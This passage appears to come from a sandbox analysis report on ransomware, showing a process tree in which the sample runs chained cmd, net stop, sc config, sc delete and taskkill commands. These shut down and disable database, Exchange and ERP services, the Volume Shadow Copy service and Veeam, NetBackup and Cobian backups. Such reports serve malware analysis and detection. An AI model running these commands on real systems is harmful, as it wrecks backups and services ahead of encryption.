-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$WOLTERSKLUWER"5⤵PID:4804
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$OPTIMA"4⤵PID:2204
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$OPTIMA"5⤵PID:4380
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$OPTIMA"4⤵PID:1564
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$OPTIMA"4⤵PID:4708
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$OPTIMA"5⤵PID:4232
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$OPTIMA"4⤵PID:5084
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$OPTIMA"5⤵PID:3612
-
-
-
C:\Windows\SysWOW64\net.exenet stop "msftesql$SQLEXPRESS"4⤵PID:4760
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop iNethinkSQLBackupSvc5⤵PID:4680
-
-
-
C:\Windows\SysWOW64\net.exenet stop "postgresql-x64-9.4"4⤵PID:4468
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "postgresql-x64-9.4"5⤵PID:1752
-
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQLFDLauncher" start= disabled4⤵PID:4148
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLSERVERAGENT" start= disabled4⤵PID:3644
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLTELEMETRY" start= disabled4⤵PID:4108
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLBrowser" start= disabled4⤵PID:1380
-
-
C:\Windows\SysWOW64\sc.exesc config "MsDtsServer130" start= disabled4⤵PID:4396
-
-
C:\Windows\SysWOW64\sc.exesc config "SSISTELEMETRY130" start= disabled4⤵PID:4784
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQL$WOLTERSKLUWER" start= disabled4⤵PID:4392
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLAgent$PROGID" start= disabled4⤵PID:4468
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & a & sc config "SQLWriter" start= disabled & sc config "MSSQL$VEEAMSQL2012" start= disabled & sc config "SQLAgent$VEEAMSQL2012" start= disabled & sc config "MSSQL" start= disabled & sc config "SQLAgent" start= disabled & sc config "MSSQLServerADHelper100" start= disabled & sc config "MSSQLServerOLAPService" start= disabled & sc config "MsDtsServer100" start= disabled & sc config "ReportServer" start= disabled & sc config "SQLTELEMETRY$HL" start= disabled & sc config "TMBMServer" start= disabled & sc config "MSSQL$PROGID" start= disabled"3⤵
- Suspicious use of WriteProcessMemory
PID:2352 -
C:\Windows\SysWOW64\sc.exesc config "SQLWriter" start= disabled4⤵PID:2968
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQL$VEEAMSQL2012" start= disabled4⤵PID:1496
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLAgent$VEEAMSQL2012" start= disabled4⤵PID:3860
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SSISTELEMETRY130"5⤵PID:2668
-
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQL" start= disabled4⤵PID:2932
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLAgent" start= disabled4⤵PID:1952
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQLServerADHelper100" start= disabled4⤵PID:2232
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQLServerOLAPService" start= disabled4⤵PID:2968
-
-
C:\Windows\SysWOW64\sc.exesc config "MsDtsServer100" start= disabled4⤵PID:612
-
-
C:\Windows\SysWOW64\sc.exesc config "ReportServer" start= disabled4⤵PID:724
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLTELEMETRY$HL" start= disabled4⤵PID:1212
-
-
C:\Windows\SysWOW64\sc.exesc config "TMBMServer" start= disabled4⤵PID:3996
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQL$PROGID" start= disabled4⤵PID:304
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & taskkill /F /IM U8WorkerService.exe & taskkill /F /IM UFIDA.U8.ECE.UTU.Services.exe & taskkill /F /IM UFIDA.U8.UAP.ReportService.exe & taskkill /F /IM U8AllAuthServer.exe & taskkill /F /IM U8WebPool.exe & taskkill /F /IM U8TaskService.exe & taskkill /F /IM UFIDA.U8.Report.SLReportService.exe & taskkill /F /IM U8SCMPool.exe & taskkill /F /IM U8DispatchService.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM U8WorkerService.exe4⤵PID:4012
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM UFIDA.U8.ECE.UTU.Services.exe4⤵PID:308
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM UFIDA.U8.UAP.ReportService.exe4⤵PID:1620
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM U8AllAuthServer.exe4⤵
- Kills process with taskkill
PID:4828
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM U8WebPool.exe4⤵PID:312
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM U8TaskService.exe4⤵PID:4792
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM UFIDA.U8.Report.SLReportService.exe4⤵PID:4856
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM U8SCMPool.exe4⤵PID:5008
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM U8DispatchService.exe4⤵PID:5004
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & sc config MSSQLSERVER start=disabled & sc config "SQL Server (MSSQLSERVER)" start=disabled & net stop MSSQL$ & sc config MSSQL$ start=disabled & net stop SQLSERVERAGENT & sc config SQLSERVERAGENT start=disabled & net stop SQLBrowser & sc config SQLBrowser start=disabled & net stop vss & sc config vss start=disabled & net stop SQLWriter & sc config SQLWriter start=disabled & net stop vmvss & sc config vmvss start=disabled & sc config MSSQL$FE_EXPRESS start= disabled & net stop MSSQL$RE_EXPRESS & net stop SQLANYs_Sage_FAS_Fixed_Assets & sc config SQLANYs_Sage_FAS_Fixed_Assets start=disabled & net stop MSSQL$VIM_SQLEXP & sc config MSSQL$VIM_SQLEXP start=disabled & net stop "MSSQLFDLauncher" & net stop "MSSQLSERVER""3⤵PID:2948
-
C:\Windows\SysWOW64\sc.exesc config MSSQLSERVER start=disabled4⤵PID:2140
-
-
C:\Windows\SysWOW64\sc.exesc config "SQL Server (MSSQLSERVER)" start=disabled4⤵PID:1228
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$4⤵PID:416
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$5⤵PID:896
-
-
-
C:\Windows\SysWOW64\sc.exesc config MSSQL$ start=disabled4⤵PID:1740
-
-
C:\Windows\SysWOW64\net.exenet stop SQLSERVERAGENT4⤵PID:616
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSERVERAGENT5⤵PID:736
-
-
-
C:\Windows\SysWOW64\sc.exesc config SQLSERVERAGENT start=disabled4⤵PID:2724
-
-
C:\Windows\SysWOW64\net.exenet stop SQLBrowser4⤵PID:896
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser5⤵PID:1604
-
-
-
C:\Windows\SysWOW64\sc.exesc config SQLBrowser start=disabled4⤵PID:1540
-
-
C:\Windows\SysWOW64\net.exenet stop vss4⤵PID:372
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop vss5⤵PID:4248
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLTELEMETRY$HL"6⤵PID:4504
-
-
-
-
C:\Windows\SysWOW64\sc.exesc config vss start=disabled4⤵PID:4140
-
-
C:\Windows\SysWOW64\net.exenet stop SQLWriter4⤵PID:1620
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter5⤵PID:4232
-
-
-
C:\Windows\SysWOW64\sc.exesc config SQLWriter start=disabled4⤵PID:4588
-
-
C:\Windows\SysWOW64\net.exenet stop vmvss4⤵PID:4868
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop vmvss5⤵PID:5044
-
-
-
C:\Windows\SysWOW64\sc.exesc config vmvss start=disabled4⤵PID:5024
-
-
C:\Windows\SysWOW64\sc.exesc config MSSQL$FE_EXPRESS start= disabled4⤵PID:2320
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$RE_EXPRESS4⤵PID:4636
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$RE_EXPRESS5⤵PID:5072
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLANYs_Sage_FAS_Fixed_Assets4⤵PID:2464
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLANYs_Sage_FAS_Fixed_Assets5⤵PID:4224
-
-
-
C:\Windows\SysWOW64\sc.exesc config SQLANYs_Sage_FAS_Fixed_Assets start=disabled4⤵PID:1544
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$VIM_SQLEXP4⤵PID:1712
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$VIM_SQLEXP5⤵PID:4996
-
-
-
C:\Windows\SysWOW64\sc.exesc config MSSQL$VIM_SQLEXP start=disabled4⤵PID:4940
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher"4⤵PID:1860
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher"5⤵PID:4332
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLSERVER"4⤵PID:2320
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLSERVER"5⤵PID:5012
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & a & taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe & taskkill /F /IM Veeam.Backup.BrokerService.exe & taskkill /F /IM Veeam.Backup.CatalogDataService.exe & taskkill /F /IM Veeam.Backup.CloudService.exe & taskkill /F /IM Veeam.Backup.Manager.exe & taskkill /F /IM Veeam.Backup.MountService.exe & taskkill /F /IM Veeam.Backup.Service.exe & taskkill /F /IM Veeam.Backup.WmiServer.exe & taskkill /F /IM Veeam.Guest.Interaction.Proxy.exe & taskkill /F /IM VeeamDeploymentSvc.exe & taskkill /F /IM VeeamNFSSvc.exe & taskkill /F /IM VeeamTransportSvc.exe & taskkill /F /IM sqlbrowser.exe & taskkill /F /IM sqlceip.exe & taskkill /F /IM sqlservr.exe & taskkill /F /IM sqlwriter.exe & taskkill /F /IM sqlagentc.exe & taskkill /F /IM ReportingServicesService.exe & taskkill /F /IM Ssms.exe & taskkill /F /IM fdhost.exe & taskkill /F /IM fdlauncher.exe & taskkill /F /IM MsDtsSrvr.exe & taskkill /F /IM msmdsrv.exe & taskkill /F /IM mysql.exe & taskkill /F /IM mysqld.exe & taskkill /F /IM w3wp.exe & taskkill /F /IM wsusservice.exe & taskkill /F /IM SageCSClient.exe & taskkill /F /IM UFSoft.U8.OC.QuartzScheduler.exe & taskkill /F /IM Launchpad.exe & taskkill /F /IM dbsrv12.exe & taskkill /F /IM EXCEL.EXE & taskkill /F /IM OUTLOOK.EXE & taskkill /F /IM WINWORD.EXE & taskkill /F /IM OneDrive.exe & taskkill /F /IM TaskService.exe"3⤵PID:1836
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe4⤵PID:2828
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.BrokerService.exe4⤵PID:1812
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.CatalogDataService.exe4⤵PID:2844
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.CloudService.exe4⤵
- Kills process with taskkill
PID:60
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.Manager.exe4⤵PID:4564
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.MountService.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4432
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.Service.exe4⤵PID:4724
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.WmiServer.exe4⤵PID:4536
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Guest.Interaction.Proxy.exe4⤵PID:4572
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM VeeamDeploymentSvc.exe4⤵PID:724
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM VeeamNFSSvc.exe4⤵PID:2052
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM VeeamTransportSvc.exe4⤵
- Kills process with taskkill
PID:2752
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlbrowser.exe4⤵PID:4464
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlceip.exe4⤵PID:4960
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlservr.exe4⤵PID:4800
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlwriter.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4724
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlagentc.exe4⤵PID:4660
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM ReportingServicesService.exe4⤵
- Kills process with taskkill
PID:4068
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Ssms.exe4⤵PID:4300
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM fdhost.exe4⤵PID:3688
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM fdlauncher.exe4⤵PID:1576
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MsDtsSrvr.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4792
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msmdsrv.exe4⤵PID:4988
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mysql.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4384
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mysqld.exe4⤵
- Kills process with taskkill
PID:4596
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM w3wp.exe4⤵PID:2952
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM wsusservice.exe4⤵PID:4068
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM SageCSClient.exe4⤵PID:4132
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM UFSoft.U8.OC.QuartzScheduler.exe4⤵PID:1596
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Launchpad.exe4⤵
- Kills process with taskkill
PID:4100
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM dbsrv12.exe4⤵PID:5088
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM EXCEL.EXE4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2464
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM OUTLOOK.EXE4⤵PID:4824
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM WINWORD.EXE4⤵PID:4252
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM OneDrive.exe4⤵PID:3008
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM TaskService.exe4⤵PID:4504
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & a & net stop "MSOLAP$SHOPCONTROL9" & net stop "MSSQL$SHOPCONTROL9" & net stop "MSSQLFDLauncher$SHOPCONTROL9" & net stop "ReportServer$SHOPCONTROL9" & net stop "SQLAgent$SHOPCONTROL9" & net stop "NetBackup Client Service" & net stop "NetBackup Discovery Framework" & net stop "NetBackup Legacy Client Service" & net stop "NetBackup Legacy Network Service" & net stop "NetBackup Proxy Service" & net stop "NetBackup SAN Client Fibre Transport Service" & taskkill /IM mysqld-nt.exe /F & taskkill /IM NFVPrint.exe /F & taskkill /IM licenceserver.exe /F & taskkill /IM Launchpad.exe /F & taskkill /F /IM "FileZilla Server.exe" & taskkill /F /IM cbService.exe & taskkill /F /IM cbInterface.exe & taskkill /F /IM pvxwin32.exe & taskkill /F /IM pvxwin64.exe & taskkill /F /IM pvxcom.exe & taskkill /F /IM pvxiosvr.exe & taskkill /F /IM Sage.NA.AT_AU.SysTray.exe & taskkill /F /IM Sage.NA.AT_AU.Service.exe"3⤵PID:1668
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$SHOPCONTROL9"4⤵PID:2592
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$SHOPCONTROL9"5⤵PID:2816
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SHOPCONTROL9"4⤵PID:796
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SHOPCONTROL9"5⤵PID:412
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SHOPCONTROL9"4⤵PID:3312
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SHOPCONTROL9"5⤵PID:2952
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$SHOPCONTROL9"4⤵PID:2220
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$SHOPCONTROL9"5⤵PID:1308
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SHOPCONTROL9"4⤵PID:4144
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SHOPCONTROL9"5⤵PID:4376
-
-
-
C:\Windows\SysWOW64\net.exenet stop "NetBackup Client Service"4⤵PID:4792
-
-
C:\Windows\SysWOW64\net.exenet stop "NetBackup Discovery Framework"4⤵PID:2704
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetBackup Discovery Framework"5⤵PID:4224
-
-
-
C:\Windows\SysWOW64\net.exenet stop "NetBackup Legacy Client Service"4⤵PID:4668
-
-
C:\Windows\SysWOW64\net.exenet stop "NetBackup Legacy Network Service"4⤵PID:5048
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetBackup Legacy Network Service"5⤵PID:5024
-
-
-
C:\Windows\SysWOW64\net.exenet stop "NetBackup Proxy Service"4⤵PID:4632
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetBackup Proxy Service"5⤵PID:4612
-
-
-
C:\Windows\SysWOW64\net.exenet stop "NetBackup SAN Client Fibre Transport Service"4⤵PID:5096
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetBackup SAN Client Fibre Transport Service"5⤵PID:2816
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mysqld-nt.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:5048
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM NFVPrint.exe /F4⤵PID:4752
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM licenceserver.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:5112
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Launchpad.exe /F4⤵PID:4468
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM "FileZilla Server.exe"4⤵PID:4936
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM cbService.exe4⤵PID:4856
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM cbInterface.exe4⤵PID:3312
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM pvxwin32.exe4⤵
- Kills process with taskkill
PID:4664
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM pvxwin64.exe4⤵PID:4924
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM pvxcom.exe4⤵PID:4768
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM pvxiosvr.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1812
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Sage.NA.AT_AU.SysTray.exe4⤵PID:4468
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Sage.NA.AT_AU.Service.exe4⤵PID:1284
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & a & @taskkill /IM Tomcat7w.exe /F & @taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F & @taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F & @taskkill /IM Launchpad.exe /F & @taskkill /IM mpdwsvc.exe /F & @taskkill /IM cbVSCService11.exe /F & @taskkill /IM cbService.exe /F & @sc delete CobianBackup11 & @sc delete cbVSCService11 & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM "Kingdee.K3.CRM.MMC.AutoService.exe" /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM "Microsoft.SqlServer.IntegrationServices.MasterServiceHost.exe" /F & taskkill /F /IM store.exe & taskkill /F /IM MSExchangeMailboxReplication.exe & taskkill /F /IM Microsoft.Exchange.ProtectedServiceHost.exe & taskkill /F /IM MSExchangeThrottling.exe & taskkill /F /IM EdgeTransport.exe & taskkill /F /IM MSExchangeTransportLogSearch.exe & taskkill /F /IM Microsoft.Exchange.RpcClientAccess.Service.exe & taskkill /F /IM Microsoft.Exchange.AddressBook.Service.exe & taskkill /F /IM DataCollectorSvc.exe & taskkill /F /IM Microsoft.Exchange.ServiceHost.exe & taskkill /F /IM Microsoft.Exchange.ContentFilter.Wrapper.exe & taskkill /F /IM MSExchangeMailboxAssistants.exe & taskkill /F /IM msexchangerepl.exe & taskkill /F /IM Microsoft.Exchange.Search.ExSearch.exe & taskkill /F /IM Microsoft.Exchange.EdgeSyncSvc.exe & taskkill /F /IM MsExchangeFDS.exe & taskkill /F /IM MSExchangeMailSubmission.exe & taskkill /F /IM MSExchangeTransport.exe & taskkill /F /IM Microsoft.Exchange.AntispamUpdateSvc.exe"3⤵PID:2056
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Tomcat7w.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:980
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F4⤵PID:3532
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F4⤵PID:3512
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Launchpad.exe /F4⤵PID:4972
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mpdwsvc.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4952
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cbVSCService11.exe /F4⤵PID:4972
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cbService.exe /F4⤵PID:3440
-
-
C:\Windows\SysWOW64\sc.exesc delete CobianBackup114⤵
- Suspicious use of AdjustPrivilegeToken
PID:2828
-
-
C:\Windows\SysWOW64\sc.exesc delete cbVSCService114⤵PID:5064
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mysqld-nt.exe /F4⤵PID:4688
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "Kingdee.K3.CRM.MMC.AutoService.exe" /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4488
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlceip.exe /F4⤵PID:2856
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "Microsoft.SqlServer.IntegrationServices.MasterServiceHost.exe" /F4⤵PID:1740
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM store.exe4⤵PID:4224
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MSExchangeMailboxReplication.exe4⤵PID:4692
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.ProtectedServiceHost.exe4⤵PID:2840
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MSExchangeThrottling.exe4⤵PID:4704
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM EdgeTransport.exe4⤵PID:3692
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MSExchangeTransportLogSearch.exe4⤵PID:4532
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.RpcClientAccess.Service.exe4⤵PID:4764
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.AddressBook.Service.exe4⤵
- Kills process with taskkill
PID:4392
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM DataCollectorSvc.exe4⤵PID:4116
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.ServiceHost.exe4⤵
- Kills process with taskkill
PID:2368
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.ContentFilter.Wrapper.exe4⤵PID:2816
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MSExchangeMailboxAssistants.exe4⤵
- Kills process with taskkill
PID:4624
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msexchangerepl.exe4⤵PID:452
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.Search.ExSearch.exe4⤵PID:5108
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.EdgeSyncSvc.exe4⤵PID:4852
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MsExchangeFDS.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3512
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MSExchangeMailSubmission.exe4⤵PID:3972
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MSExchangeTransport.exe4⤵PID:1712
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.AntispamUpdateSvc.exe4⤵PID:300
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & a & @taskkill /IM DDSoftPwsTomcat9.exe /F & @taskkill /IM U8SmartClient.exe /F & @taskkill /IM U8SmartClientMonitor.exe /F & @taskkill /IM tomcat9.exe /F & @taskkill /IM SqlManagement.exe /F & @sc delete "SiebelApplicationContainer_Siebel_Home_d_Siebel_sai" & @taskkill /IM ReportingServicesService.exe /F & @sc delete "ReportServer$SQLEXPRESS" & @sc delete TongBackupSrv & @taskkill /IM TongBackupSrv.exe /F & @taskkill /IM UFMsgCenterService.exe /F & @taskkill /IM "Cobian.exe" /F & @taskkill /IM "SAP Business One.exe" /F & @net stop "SQLBackupAndFTP Client Service" & @taskkill /IM "SqlBak.Service.exe" /F & @net stop cbVSCService & @net stop "SAP Business One RSP Agent Service" & @net stop SAPB1iDIProxy & @net stop "SAPB1iDIProxy_Monitor" & @net stop SAPB1iEventSender & @net stop SBOClientAgent & @net stop SBODI_Server & @net stop SBOJobServiceBackEnd & @net stop SBOMail & @net stop SBOWFDataAccess & @net stop SBOWorkflowEngine"3⤵PID:4084
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DDSoftPwsTomcat9.exe /F4⤵PID:2704
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM U8SmartClient.exe /F4⤵PID:4384
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM U8SmartClientMonitor.exe /F4⤵PID:4620
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tomcat9.exe /F4⤵PID:4980
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SqlManagement.exe /F4⤵PID:4720
-
-
C:\Windows\SysWOW64\sc.exesc delete "SiebelApplicationContainer_Siebel_Home_d_Siebel_sai"4⤵PID:4156
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ReportingServicesService.exe /F4⤵PID:4800
-
-
C:\Windows\SysWOW64\sc.exesc delete "ReportServer$SQLEXPRESS"4⤵PID:4716
-
-
C:\Windows\SysWOW64\sc.exesc delete TongBackupSrv4⤵PID:4836
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TongBackupSrv.exe /F4⤵PID:4140
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM UFMsgCenterService.exe /F4⤵PID:296
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "Cobian.exe" /F4⤵PID:1932
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "SAP Business One.exe" /F4⤵PID:4380
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLBackupAndFTP Client Service"4⤵PID:4940
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLBackupAndFTP Client Service"5⤵PID:2356
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "SqlBak.Service.exe" /F4⤵PID:2504
-
-
C:\Windows\SysWOW64\net.exenet stop cbVSCService4⤵PID:1596
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop cbVSCService5⤵PID:5000
